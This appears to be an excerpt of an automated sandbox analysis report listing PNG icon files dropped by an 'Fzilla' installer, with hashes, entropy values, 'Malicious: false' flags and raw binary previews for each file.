File Type:	PNG image data, 48 x 48, 2-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	216
Entropy (8bit):	6.259546212998228
Encrypted:	false
SSDEEP:	6:6v/lhPKaZzu6d7kWkw8RTQR4TUpctzpQhXwenp:6v/7ZZzu6hLkwA44KctzpQhXwo
MD5:	E2C5395E4256FA62DCDCBA24D521A751
SHA1:	5942B29527B7F5754FD3AADA7C8E5B7A852DFD33
SHA-256:	3CC449A439C84045108F5E1F520A4E1306675CEFEE4CC6A74F2A318F5539C5FD
SHA-512:	EC8826E3906A1F3BCE4243BCB919EABD454C2F1C26C982B97105E029CD489D80829521D2858552B5A2508DA4A2E358C98B7B7F392F0B1C837CD32BB3977C6EF6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....l......PLTE............P6.0....tRNS.....(.....wIDATx...1..0.F..P2...Stq...>9JF.)5..dS....c..m...X:.J...:8A..qR..P...,...%)......Ig.#L...Z.D.yG..q.....0;..:.....N.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-5CJ1B.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	998
Entropy (8bit):	7.726131164929331
Encrypted:	false
SSDEEP:	24:pL90R1k/Hyc5wzwrmUgNK+lddaMIyu9Euuqs86tKOZd91YHN9+p:dO1eonUgE+lH4yxuuqs86HZH1Y2p
MD5:	9BAE989C1007DF6AA4EF3A90F38BF72F
SHA1:	1CFA4A3320D53A4FC73912664B1B61469F6E4AAD
SHA-256:	B239406994D7B8D3E0C30E71EF6AA0E7383EB196CA28EDB4A834E9AC6F551BD9
SHA-512:	4EF83B1542198DF78C63B8057AE8DAD778098F5F7D3923D3127A11FAAE56DF1AD8037383568232E1AB27E1EEC3BBD6A0665CD4F6D11DBDECDF96E718A44DEE47
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......Y...[<.6..D.hm....m..5......m.={2.}.tP+.3....}j..~M).<N.x?{..o.S...4~....6.l./..C..,..<..eO..j..j.......Ei.F..Y...U_.....RMU.g..).....A..6....K.A....3...;s\|.p:.B.2.m.F.P..;.........r.r>......._.F/_.J.....F...o..\.....5....x>...... .O..._>.."..W..M.....QN..'.]....#.!UQ%U.).....P..~...k.'..K<.(..N.p8H.\|....?.l..S....Tcm.......@.....C....i X....S6.\|.?s^GMG.....+G....p]...)...s......?U.c..#...p}..=ao=.;..1...SZ..N..x...j...........p..d.N.R.94....?.......XG.Iu{.L.^.........\|K..../ =.=..E.R7.......`..C.".............Q0I..... ...<@...J...DO.os...Q.o.~...\|...M1W.1..:.@x..t.!..`...6...~..v]\|-.Vw... \|..m......\|.;../<z..w.Z..jrM.....9c].\~.O.K..<O1.n....g_]xd.pe..........K;I^.I.V.......N....].O>.W.W...Rc...t.~].y....?.\|....k.Z%M..4...RZ,.Q<%...O...~. ...c...2..J...}.F..i=s..BK.~.H.h....D..h......Gsi...4@.i.)h...7.L...PN6...........IJ...G:...S.i..D-r.AMr. .Q.`.5.J.(...H.A.TH{.a......./5.f4........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-82V8O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	795
Entropy (8bit):	7.6294058239299885
Encrypted:	false
SSDEEP:	12:6v/7wjCBmGpww1es4ShHiHmPiqnEtKbFHC3ruHGkgTJjyjD7lJI6ClDpPnZi3XN:UBmq0sxopcTbFwuHqW7s6Clm39
MD5:	6CFC69949D44167746C8B36E3A5443D9
SHA1:	330A666E06EB885A3B3F82FC53911C111DF1DB69
SHA-256:	20B086F67B1F3C8C7776787C01F4103C41086077A5D6BA419C2A4E5C628D28E2
SHA-512:	33F5629DB440FB2D6627CC7677437A2572DB7FEA40326B17CD6253331CA51CB82BDFEAB6E18809145CED1C93D2F41528591AE87EFE48BFA796B32A3A61FB7AEB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....dW.....Y.m.m.mP.Am..j..m..{........d...p....f..V.pn.5.g....w..M...%8..D...x..X...........\|......rJsF.{.DU....P...U.C.Z...5....l.......E............t#....:..C.....2.-..).0.-P...^....Q........t.x..lg.R9...l.E.<.W...`..m.B....$vTF..Kb...0$.4gQS1.C.{?#.......0....b..qU.. .....>..B..U...H....FbOfd..$v"!j..S...dd..L.OR>`.t.5...BTi.b...e[..).0.m.v}J..J<-./).....$Z..NN..h.@b..h..~.M...V...Oy.h..9..ux...~c..e6.h.X..7..,....\|S...9..X.......#..L..,k...p(..x...b..e5.bN...4..l,..l.....^...r.....:.23m..JFt0.K......?.0.J.&.......5k....I.O.z.c>Va+......^g,..&.5.p$......s.M#..H.....l.....\.+.A`j..sn.X.fW6f9.&.D..\|.ev.gM.a?.....[.2).Q.....~.`/.d..fV.i....+O.FZ.Afc>.e.Vfu.d5Vd).bnfc.^:J...J..5.H3-....^./..9...M.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-C1O00.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	7.77484061058976
Encrypted:	false
SSDEEP:	24:3XOqKJTRfQB/nJKNI1p+a6TkJXGt/m3ncK7zlmR7tvMM1Pq88XD4Bc:3Gfc/Jnobq2/m3Z3Eb9980K
MD5:	59E972676124B8A04321E3837F0EA7F9
SHA1:	BC22436237589A0773FE2A887F4CE74D80DD2F57
SHA-256:	45A3A8668CC26632295745B3FD6DB530FC4190E9957ED1DA4B454C22FE935431
SHA-512:	E18C008883F0D2C94F7DE3048A57EA3A65032D4C2EE35EE59C1E67615FDE172FE0CBFA4942C0252DDA358780E124DECAD164ED4DBF4C1F8BAD6A8AAB4E4EA1F3
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......lIDATx...c.-........m.m.ym.=..B..6.L=..5.......\_.J...>..1... a..+..v#.42..Y....h..f...K....[%.\...\....'...~Z. a.f..gL.)+....@.o.......\|. 5i.U.HX....`./..U. a.:.V.........q....5<]..q.....Z...O.4..M-.,...{.`.wK.S#.Ku..P.7.....QF.".V4@....ed?..D.V.@..o2...W...LK8. .z>U..W..O..H....g.U..pl..u.S...V.6mr.....\|;Z..-..AM..j..d........Kc.........Z.h..3...z...Xn..Q.H-..x....L.......L.bt...V4.,.L}&......O-.=.L...cb.....#.d...4y.\.:s..U. .q........W.D.....cR4h-.....0.....,6.2..FV..4....Z.X~.g....rc&@.7.W..,.........V.,...B;..1#]...O.?...E..R...P........//....,x.Y..F.6...1.m..%...".r..RZ .....x.qE.@!<._.....V.f.$.......%n)..8...M.x6.U.5....=.f..m4.^....la.....<.$v.:...z.COt..m...M..[4\..\.~..FV.S...?.....z&\|.S.>.@.h...}:.......;..O3,:l.c....;a;l..=..m..@..[?...p.%\..M.)..)_.a...........Y.Z.[c_...p.\.G.m../1.....8..b.p...V.....F...8..\|..<..}F....p.N.1.G..$.ki.m+........W.....W.[..M,z..W..\.K"i......!{

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-CTAUD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	651
Entropy (8bit):	7.495034930499189
Encrypted:	false
SSDEEP:	12:6v/7AP2a6xKs+fXKaGhmCI15C8ktTGlbEyrmXpk3bBpeKrWJ05gz:3EKs+ffUUnC8koxEyrmZkrB9U0Oz
MD5:	1EEA7A5DC7250A180F66A51D9722F421
SHA1:	863731CB0ACF73A32ADEC544604990952739D5B3
SHA-256:	FA9CE842159DF141DF7106F21F0D9F528F79791C04DE517B6149943E4A04C3EB
SHA-512:	80FAA4E2DE456DE2F3DF47C6D79B3782E9EA1EEEEA253D83E48FFE442A84DD9C284216167BA27242F2991D377B867BCAE8A934FDA39C8E2BA54DBE98615A08EB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......RIDATx...3..a.@...m....ul.a......m.m...}.kM.q...U.......F7..9<.G..=..l..d..)P.m...0.....6l.....}."....b.b.-.Y.iU.....'b..y..p..b...;.....B....F.TA..~k8.....Q..Q.(..c.Fl.....+c..4f.%].&..).$vUU..5.Q..P..Q...FO~.N.<..........z^Do.8...L.a..W..7.....@...)e...u.y..`...?h.............j..G...p...:.&.a.....m....0Dgh..x......j.`/.6AmP...."C...8.j....l...'....x.}..N.o.v4...@...H..N..P.tp" ..7.E2.........j......\..5s.#4B.q...B-.....)..X$+..Hp......}.3aO....Q..Y.....a@...x...<.F(....0.....)4Ba@.....Q...hx....4S..wE.8N.....M.....WE2j.B.}..6k....5i...j.2zY....^.\|.'.Ip.A.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-EJR13.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1077
Entropy (8bit):	7.690710474066297
Encrypted:	false
SSDEEP:	24:t4nnPBbvxk3qnvznnJfBwaDlV4+xRRtA8GsnfkfU6odAFty9c:6nnxbnfww4ERDrnMfU6t
MD5:	3FB36C132E4F5EC1D128F03EC57BF29A
SHA1:	427BF31AA443780384158F704ED692573206204F
SHA-256:	73F393E4948E67AE4690AD212791F9A9ED11EB4B71C3355AA84818081E762318
SHA-512:	6D47CE91924AB7BA6D810F816FA06DA16A41DD0C2F4F61E95F0ADDB7966BF12A6431CD0EABB7B52586CA9D7CB6C4726878A401DDEBDD3351335498F3097C4929
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....+I..._.l.m.m.m.m.f.k.w...}s...N..9.>_.w.}........t....X...4.4..5^.qw..............po...w....w...L....&h.W...../...L.v..:ej1...<.X.-......x...... 0y.kZ2...,2.....[..L..w7m<...R.g.u..7...A.....i..hOs}......P5.....@..1.L......."pL.......d..>3@`.'y!>...N.S....e..p@GF...........&z.wZ.P:.i.....W..:.(.k.=U(.N ..;.x..Z....EO ......-q.=....FM Ek....$...#DM E..<.e1......4...<..1.B..n..R...3.4.......1.....T...K...@./...e.m.@...0....q..;...LS.....D=.$U.....[G..~...........PR....C.........(.D....5C=.=..Q...Od_...R...Vo....hpw.[..x3....,j..>.,<T..P\|.m.N..5.A..T..QD....{...."...` ..;..........cl.l..D.......o..r..#`......+.cd...1..t7/6}.N...).0......r...b.F...s`.uY......z...`...1.&...;$@..F....bq,5'._.....xiCv.X..aF..a.#YBCB.....s`.....\t?.....y.kb5..E1K.\|O.:.F.r...a......\.w*.>..1.....^...1..JX.Sa.D..3....n..10-..J..[..aGq.m.....z..3.9....S`4.C...L.......bf,.5...u.7^.KO.E.o.........w.Bl.U.0....}..E..#

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-EL5C4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.382565424085944
Encrypted:	false
SSDEEP:	12:6v/7+awNYcZ2uUuTnn0RK7epXe91AnaIkL/hl2Vo82/b5iRPXCk9dhlUZGDmwqV/:SUmknn0RK6A9mbylASd+qS/UQg/X
MD5:	C65E85D023A26170085149E8FC38025C
SHA1:	8EE4C5174DF80C7D71FC064F48BD8B113911DF1C
SHA-256:	6AF7C916345A848AA39AE3F8E37EB89F0E9BFB042CD990B236939E33C67D7922
SHA-512:	0A8B69D36300A4326629456EE1057F47DE1B2B6B5C0DB531131FF8F547C6C4C7CB803FE37B038DF92016CEA04981432F21F6E16A52DE0AFF1EDC55F56684AE1A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`.......PLTE...yyyzzz\|\|\|}yq}}}~zs.......\|b.\|c.......}V........T........L.................A..E..?..9..<........6..3.....0.....7.................-..+..-.....................................................................................................&..B..X..k..}...........................b.....tRNS.@..f...?IDATx...n@Q..{.n...1....oB\|p8..:.....&@&.........`M..u...Y.J..."`....3.q...:hk. . sp.Y2`X\t.H.mM.=....E.......`...`...U...l..S@...;.....*.q`p.".q..F.....0.d..p.t.?....\|..I.}..m}.{p.._\\|...5.....(..k.&..._.....XC......K@JZVFAQY][GWUR.......[H...U............... ?....................V.....hokceeck.........t..&:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-EOB4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	421
Entropy (8bit):	7.267829646538733
Encrypted:	false
SSDEEP:	12:6v/7V/+9ZfQsyoNyaBobdW59TNY0ZsiO7zUYG8sUWdlN:bfhNnlNYivODu7
MD5:	1B502DDB1728B98A357A62BB20C81CC1
SHA1:	7DC9D0F10EA8587F23B9F45700964A2E149C5F53
SHA-256:	03B16F81B5CEE7340D7B222BEFE63E03AD08321838E517FD8F843A2536295A79
SHA-512:	0E3C4D1904F2424EF884966D9D8CF78D8B27DECAEFDFB3284B4E14AD661E27099C100D90D7B72FE5C8AFA198B8CF20EBEB12AC0EB8F6ADE73AB6AF96FB58BFB6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......lIDATx..5R.A.Eo..5...U..6./.."\|...`....6M..n0..z...;.b....Q..F..L.6]. WQ...y<.Hao.tQ.(hd.....,...h........@.....>d.-SD..^`....~.h.....o.W......L .........?DB./.....i........=..)6\.g...<.9....t."/'..!Ht..9..Px.a....ZVS.....z#.9}..?...Q.cL...Q.uT..JG..D..C...m.....n.Kxs......b.....2"&..@.........!\|..?.E..c\..*B.Rj.\|T.%.R...K^.t.4.pA....U.....A...R....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-GQM3K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1235
Entropy (8bit):	7.787320093902789
Encrypted:	false
SSDEEP:	24:3Ag1sCZkB2/qwKtX138WUuRrTGgDmrnasSle5LF35PZ28/+bHsAMAKY1:3AgGjB2SwKh138CrTGgyrPS6rPZ2w+Ye
MD5:	A50944541EA7D6DD25FC82F31712901B
SHA1:	FA8A8C1C8682EF35F84A69F8A86E8004FA11E1C4
SHA-256:	CEDFC9DC75A9B787E17451B4086CE9040BE7A8873B8EE5A0C909CCF4B5191DFA
SHA-512:	3DECBB66137152096058895EE126E9BA122380A9B7D1B974522C829CB30D9A9DBA7A70DA2C8A802239A6B45597D354A7120CBAD8A720A42F2A4A4F0B193ECD5C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....C!....Fo.....k...v..d...Q.;.0.<lXS...~@./.....`...k.U.A..RJ.c..3.I..9.z.u.Q...9g.B8..4t.t...(.)..]=...l.'..\|X.n'4...7.<....!.QJ........^.Z..$I.<..8.}.<.m}...o...`....b.=...S...\|.r..;:..xg.zV..c.S...\-.R.4c.b...{......h].n5`.b72..g,..5.5.=M..Y..I..U..G.b......#.G.I4.....8.;..N..}w..f.d=_...8....=...zHt.a.m.E..2..Nr......Z.k..L.l..J..).n.T.4Q........"b...l.W.Q.!.(.&..j.4..$..\|..K......]Z.7..4s..]f!.)X.....F..+.T;.,.C...P.:w...J.z.A.i.,..=.Uh.....VE.n%.....I..@.......UY+n-...pB....a...N.'..&.=...}R.q..c.;.~_W.v.z..[.. ~...`....o.[.m...z.9..;1et.[....%5sn.`3\....K..0.u..aG.sS.c....D.>..pC..R..v.}......a...X.G=..Ys~.tv,.N......A...\...m.s..^Y.x.N2....9O..,..M!>..I.....\|.,......B..i.>H..1aQ#.F...W/a......`...F .....O#....jtfb.Q.../`Vv+.h.3.v>....b........t.".\..@b.e..A!.3s..m.=..... ..H.(..C.L2....'.B.,.<3.3..+........@..........i...U..T)......Q.^.J.F..=0..L.->.W..\|....}.....=...f...@ =<"...+p..G.s.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-GT705.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	661
Entropy (8bit):	7.559908781467013
Encrypted:	false
SSDEEP:	12:6v/79zlEDg1dCQwV4DfHmbHiWi7LsAIBly3nCneZdPAK/13spaKw427s24bB1:KSiRfHmbiWi7LHey3ke3IK98E9427s2O
MD5:	F333E2CE6C8FAB863B826469EAE3BEE3
SHA1:	DF587B2EA65948234FEC96D17EAFCF0BD81A296D
SHA-256:	72163F387B782EC5E089D833C7E53A8735847E187EBDDDBF8195FA38C7670B40
SHA-512:	F769C1B92B62C5E103BD0D121351AA8B8104448B85A6C113C2FB0E553E21FD9592F38D81A1E01769463BC4276C8D503E0A407C94C32DEED543748F246C512951
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......\IDATx...S..a...S.m#,...j.U\\.......m.&N.?...L..(..'...!..h..X.jUN..n..{....G..ALB...l.....)...X....8...y..g.c...V..b....w.\.r.......#..9.d.{.G..+..K1..0....9.?<=zdG^.AQT@E.7.%Z.C.[....:xp.m.h...T{.....46..B=T0s+......k....C".9rL.....;...+x%.,0..D&>2.?3.<.O....^.,.vOD..>.Eo@c.........+......C..../.I....Y.M..^.=.`......4.....4.......j........;...\|-h.-p3.......x#2......\|;..;....x.uA?'..B]..H...0L=p......3<....x......c...Ph..Qbr ......~......DNW.J..xB....w%@.J...{4Yu...0...M..S.Fa....h..`.T..a.......0.......0......x..+.a.....b.,...........7.v..).9.)...G"..I.Z..H.........5.II..T....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-H9S44.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.714315786865792
Encrypted:	false
SSDEEP:	24:etsJN884TjygquasnoGfYFDf7EswYtQj16KaKOWcVy:et4CjZUvGAVLw55pFOzs
MD5:	253A884029A69D4DE5F27A84EEA0FDA2
SHA1:	AAD2F8296EEB56CC0CB59329E089F92138B998B3
SHA-256:	9EC6CFAAC2A53E47459E976D5584AA9A787BB4AFBA4DE8D15015795EEDD91F90
SHA-512:	9CFCF6826982AFC5FB8DAAAD58E3FB27F2E5A8D56C6A72CA5EC256CCEF0872773B0704770689E11F2C9ADFC40D917FE7E193812EA8C85E7030C2DA72AA0D8C40
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...S`3Y....m.m...m.m...U...N......W.......K.2..Y.a.y.W'#.k........<..D.@......u.kF..K.-I%.y...v...(46.h.#.2.)@...T..a.BY...@....../}c.g.P.._......x.[3.g.K$.....~x....1...9..#........2D.i..2._.(...c.z...\..G.'..............( .K.Q.&.xp..u....k.A...9........dV..z\+c7..<M...%z..D.......Q...."lU....u....jI.N.........tG.y...j.g.n...:/.......Y..../F....V\|......."Q....H..K`...3...o ..\..<.}.7.]......../.6.......H.....a(.:...)=.r.9...]...D]...8C.]w..u...q......aPXE.G~N.V.b...77C1..D.V..=.B.9.B.t$W.pS*...j>.X...P...$.L5E...q%j...XH.3.pu1...@L......\|......<...........".....l.A.qy....=..N.8...!.d9..L.l.~...!2_..o]....\|.......~...\|}.w.?r?.......)0........6M..........c'.?t...<..Sx..Gvs.x.^..>........s...s.........-..a..W3.9.P.%5.XK....^.r.....&.m.M>q[...X.......{......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-KMEGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	7.786872572151653
Encrypted:	false
SSDEEP:	24:3lRSamsunkY2pKhRmMMFoLTX7Gla4MJd4jH55m2BtLLWhK:3DbY2pKf7MF0eaP/iH3jvmK
MD5:	1A3DF90C330E57BCB8EAE1684D809F11
SHA1:	2BE1B7E64E3A327C1CA2127D7A0F58D3225CA6EC
SHA-256:	AE3867E790DB34103F8A32396A8090C6D54C4392AD74527B477A18863EDE78FD
SHA-512:	40A082794D6AE49CEA3194E08C1C56B261475D323A10AB6D5A8906F42F173CDC19A78F1FAA1934AF0AC609E83B572C2D96153E1C311740BB9E1305D857CAC3D7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....l=....m<.m.m.m.m..[].b1'.S..2Iw23.B=z........c.r...~........s..-...+p..~.~...@....s.................1..!..,TF..n..~.j..KB.....F...}n......8.........Y.....!:U.+..#..........F........U.lb&......;.6=.. .K.Z.@...X.{n=.rsO>.~..#w..}W...Wq.^4..i....D...e....#q/....3.....V..n3.5..od..........b..........7^.Y..G...........cw\....p..dn...V..G..mW....(6f%.e...&.W..`..`.i;m.87.}.d..A2[.....cU..........6...P...4..../...+..X....>g_..a....].....%7.i.......<...0.s.:$yyh...BC.T...r..Sb...n.1N}...x.'S...m...$F........zm.aRF.k...~.2:F>....O+...'F:..8..d0y...g+...`.y..d..wd...N.R...'2T..&. ._d..q..._.D.0.e...{.pxc..?......J..YI..t0..pLD...{".6n3..p..^U]..2.A./..(......N...........a...:../V.....8....>x.:_....\|....[..T11Ll5ML...8..kF....U.....'.5..&^..p......._ ....U../?....._SU...:@d..M..^./.].7..'......M.2......k.eU.kK=>H...9..8.`.... .H....R.2...U....rL./[..f..Aj..........&..H\.. ?(......N.........z.P....@

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-L5KJ4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.29199762493743
Encrypted:	false
SSDEEP:	6:6v/lhPHb7RBhA6njljS+dvns4v+02CKZ+cSQuUurCdI1UQgTGip:6v/7jXnjljSMs4G02rTuGIiao
MD5:	DB8361145C750E48A71A28FECB7816A2
SHA1:	CDF713775F049ECB25FC8C46002563AAD244111A
SHA-256:	E48CEC64DB8996CCC8AE60630DA8F37B2507EFDC48F94957D363F63190B7AEA6
SHA-512:	A941DD62D65F1CD73C991AD75936C1CCBC08D7BCD4F66264F9341F665CBC211B20EBAC24CEABD975817B9789927A0C9A47B6125DFABBDF066F8512FBFFBB69EC
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......=IDATx...j.A.D{.....#..r...u.(t."..]..<zk....M,....-p...L?.7..%..(1....x&L. '...@...`..@...@...8..$...9..y.{..p.g.~.E"...y8%V.....xzN/.e...nfl..'...+...Jl%..[.M.Jl%...'Vb+..8...+.C.6...b=.T?..F).J.R-.S...^U.O..Q.:.......cR... .. ....;x...<.G.1..W..<.._..m0..*...K....O@L.."..p...........'.C.. :p..o....{.j...u.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-LC1CI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	648
Entropy (8bit):	7.429571273157272
Encrypted:	false
SSDEEP:	12:6v/7HLtirj2tPWC+IaFl4IQs2JRzH9B10SsxtiePIQ93cCmkjSZKvCuEyd:4in2P+IaoDsc14xtiCb93cgjoYCuEQ
MD5:	4C966E3095C1741CAE0286EC2C35D75D
SHA1:	2DE484DB3521700C7D25EA8DB85FF5AFC1715E4E
SHA-256:	230C5906C6460D660939D46AEF4A4AA474A051CB01BBFD04D74A6E2891F10551
SHA-512:	122CEB1074F290C7F2A0759483389185D54F5A3534944594FDA96E76F20844319CAADC8881FD98670B3AEBB53243D2946A0A0CEC940A87E137712162C702A853
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......OIDATx..1k.@..M......7o..y.P.y.).'/....6....h.. $8.O.I.tfVu4.............@.h.2.q...r...v34.s..d{]W....T..@.......9...?].m~.&K....}M.{.0..0....a)..=...@......z<.v&>...B...`.x-.bB..E2.w.}bX...!...1b.............U...".<.32...0'.........0.[..........E.G..z=.JA...P....!......].s.4............Lw.....A.l..=.!.F&..z.R<.....s/.n.......F........V.......h0.g:.+.Q/.m5....m[.....WT.......P.?..@......H.x.]{`. ..(.m.N..l.m.m..{..9...r.J..7...!T....#.}..WXB..{"..!.. #...@.j..Lb..8...q#\.......0..4...HF.\|.%.A.....f(A....3.....!...A..,..P.<d#...F0d........3$(@Q.*C......9E(@..............&%....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-LCL2R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	7.8249657265416435
Encrypted:	false
SSDEEP:	24:LPTjKzoro3U/g9hqrpmIlU/QbG1pGdV93IK9XMRwHJzihvfYNRUqbMwvsEvP9qf:LPfKz2aHsrY8eQCGdH3IGXMRwli+b7vY
MD5:	5B512F7C1940E6AF9E991DAD0CB28B1A
SHA1:	0B7F693DCC401ED62ADDB7B3D292BD80975DCBCC
SHA-256:	2D1D67BE059CEC8AB770E0333599F1FD95967FCA75513345E26D352A576482DE
SHA-512:	BD7E415A236BB94C59129A5614DAB0DD3D286035479B19C27702389E62670DBAEBDBC2B2975C6ED2287D3B0F8248F317543DDCEE3D1C028D814025469337771E
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....#M...$.m.m.m.m....q.M._.j.noj..d...{.....2..<.'e.......4-@.....d...g......Y{.i..6+..9h&.e0u.......gF........<.,..wF.. ../..D...z.X+./Vs.e..M...2.....k3..5...5f.d..~....}..g.oZ..:.?....n;3......M."{.S{/."\|#.....ih.:...f.w.......0Q.Aw..\|%.w...C`....v......3VB.[.i;...M..rI... ......n.}O;.K......LF..J...."....;G._?.._.......ts.... !?..._..e8,...<...k>&.........,....5...._'...pT(.,.....f..g..>.@GH..h..HAu.`.c..3S...\|...v..nLH.......`.._..u..UW..^.....Ou......m.y......,U..K...=.<.....D.E...I...C.c/...U.P...".`.......7i..sE8.2.yK.#d...=...q.....O..!0.K .L...{E..t...#...O?M._.].e.w...[B....qAC..(B.Z....Q...'...0^....#a..1 pS..h....N...#........J`B.i......`w..-........6k..@G.E.....6..E.....:....Bm..(.M...m..FY.c..E(..)....H+....F...#..w.f.....Br.H....M...=...Fm...4.&.amD...h..........Y.<.C..Y'.9...&.<..2z.=....@Dm.L\.&% ..<Z.M.C.`c]:..&>..o%...z ....n.......3..]b..x/t......HRE..`.`I`..u..J

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-M2225.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1367
Entropy (8bit):	7.797304360371989
Encrypted:	false
SSDEEP:	24:xfVCr9VY++gSSLG+Y1zAHlae0D97xGAivFAGiVdnIxP3IkPm4/TXtMYZ1:xf4r96++gSF+gsFohxGAivFiVZMP3NPz
MD5:	AC4EE9FE044C51B0362EB449DBD7833E
SHA1:	42D2E6BDFFF0EEB86C6363B6E3416E3185C68C5F
SHA-256:	713D47E025DFBACCB2F937C06764305674457022BA0B0B4DBFD55A049092D7F5
SHA-512:	41A3324A1C4D2C8FF5B61FF7C5AA1543CA8DC0A47D47E487A2A0E41C91BF3829C6223FA99CDA0C2FEF69539806E01F75C115872439620A82F0E31D4098A11868
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....p$....O..m.mk.m.m.6.Agm.Q_.C.T.ov6=..U....?...4........$.....-.2.O...2s....{...'. .g...(4!m\...i.G...H8....X.....s.^.q.. ....s.)...... ...D..o.\|M.H8..oD...._...."H7?/PL.!...........wv...+].O..3f.#.6..k..}}..n.w.Ma.2.:.........t.ZM.$a.......j....,P[[...N3...{k/...t.{.M....>~.......n. ..2kt...ug.zh.sN?=.... ..TY.pCC.}.ft..w....G?J....J<c..2..Q..~.E...{X6z.....\|..g:.3.>....-4...&.R....n...ec~.a..)....<.Yt...miI.w..............;..s...4d..>Wt......yN.3gF.(b.g.o.......r.<!.ad..4d..{.9i........t....R.....iHB..h.@..\....0P....~..BUV...f.g.$.8.b.(>.3...l...e..*.Ko,...hQ...7.6.("6..J...@....}#...?.2...!..!.I...._...dG...0~..,...5.. .V.6.z..%a..._...G.o}.fG.....,....s%..yR\|..:...\|....n....M.@..Q......fg..).._)..B.}\|...<.....g.q.<i.Y(.OT.2D..u....ncS...[.....S...P.,g..3...D..7._.?.x2 ...1..-..........@.O.....hE;......\|9.'[{.......-..Z......'p./..d....wp...~....V.....q,N..O.~?g.$.....\..Sp4.

C:\Program Files (x86)\Fzilla\resources\sun\48x48\is-NGR3D.tmp

Download File

